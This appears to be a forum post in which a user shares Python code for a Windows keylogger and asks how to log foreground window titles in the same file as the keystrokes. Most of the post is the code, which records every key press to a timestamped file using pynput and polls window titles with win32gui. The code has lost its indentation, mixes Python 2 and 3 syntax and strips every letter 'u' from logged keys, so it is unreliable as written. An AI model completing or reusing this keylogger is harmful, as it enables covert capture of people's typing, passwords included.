hello there .... im trying to code a simple keylogger that log the key strokes and active windows titles : this is my code :
i need them like this :
# -*- coding: utf-8 -*-
from pynput.keyboard import Listener
import time
from win32gui import GetWindowText, GetForegroundWindow
import datetime
moment=time.strftime("%Y-%b-%d__%H_%M_%S",time.localtime())
def writetofile(key):
keydata = str(key)
keydata = keydata.replace("u" , "")
keydata = keydata.replace("'" , "")
with open("Log " + moment + ".txt" , "a") as qan:
d = qan.write(keydata)
with Listener(on_press= writetofile ) as l:
l.join()
def get_titles():
current_title = None
while True:
moment2 = datetime.datetime.now().strftime("%Y-%b-%d [ %H:%M:%S.%f ]")
new_title = GetWindowText(GetForegroundWindow())
if new_title != current_title:
if len(new_title) > 0:
#logging.info(" Moved to : " + new_title)
current_title = new_title
time.sleep(0.1)
#print(new_title)
ff= (moment2 + " : " + "Moved T0 : "+ new_title)
print ff
get_titles()i dont know how to add windows titles to my .txt file with key strokes !!i need them like this :
Output:2018-Nov-19 [ 02:36:49.767000 ] : Moved T0 : token.py - geckodriver-v0.23.0-win64 - Visual Studio Code \n
www.google.comKey.tabkey.Spaceheywwwwpython
2018-Nov-19 [ 02:38:04.626000 ] : Moved T0 : Run
555552000520
